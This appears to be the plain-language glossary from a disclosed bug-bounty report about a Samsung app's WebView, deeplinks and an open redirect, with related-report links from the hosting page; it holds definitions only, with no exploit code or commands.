- **Activity**: a single screen or task inside an Android app, such as a page that shows a web view.
- **Android**: the operating system that runs on most phones, including Samsung phones.
- **Binding (JavaScript interface)**: a named doorway that lets JavaScript inside a WebView call functions written in the app's own code.
- **Bypass**: a way around a fix, reaching the same result by a slightly different route.
- **Class**: a blueprint in object-oriented programming that groups data and functions together.
- **Cross-site scripting (XSS)**: a bug where an attacker gets their own JavaScript to run inside someone else's web page.
- **Deeplink**: a link that opens an app rather than a web page, handing the app a value to process.
- **Domain / host / hostname**: the name of a server on the internet, such as `us.mcsvc.samsung.com`.
- **Double encoding**: encoding a value twice, so that two rounds of decoding are needed to get back the original characters.
- **Extends**: builds on top of another class, inheriting its behaviour and adding or overriding parts.
- **Function / method**: a named block of code that does one job and can be called by name.
- **Hot-fix**: a repair applied directly to a live server, without waiting for users to update an app.
- **Intent**: Android's message object used to ask the system to start an activity or another app.
- **Internal deeplink**: a deeplink handled inside the app's own WebView, which can trigger app-specific actions such as installing an app.
- **Java**: the programming language Android apps are commonly written in.
- **JavaScript**: the programming language web pages use to be interactive.
- **Open redirect**: a page that forwards visitors to any address supplied in the link, without checking where it goes.
- **Obfuscation**: deliberately scrambling code so it is hard for a human to read while still working for the computer.
- **Parameter**: a `name=value` setting attached to a link after the `?`, with several joined by `&`.
- **Patch**: a change that fixes a bug.
- **Pwn2Own**: a hacking contest where researchers try to break into real devices.
- **Proof of concept (PoC)**: a small working demonstration that a problem is real.
- **Scheme**: the part of an address before `://`, such as `https` or `samsungapps`, which says what kind of link it is.
- **Server-side**: happening on a web server rather than inside the app on the phone, so it can be changed without an app update.
- **Superclass / parent class**: the class another class is built on top of; `super.` calls its version of a function.
- **URL encoding**: writing special characters in a coded form such as `%3f` for `?` and `%26` for `&`, so they do not break the structure of a link.
- **WebView**: a small browser built into an app, used to show web content inside the app.
- **`shouldOverrideUrlLoading()`**: the Android function called whenever a WebView is about to navigate, letting the app decide whether to handle the address itself.
- **`location.replace()`**: a browser instruction to go to a new address now, without keeping the current page in the back history.

More by Nguyễn Tiến Giang

View all

6 more disclosed reports, best first.

More from Samsung

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.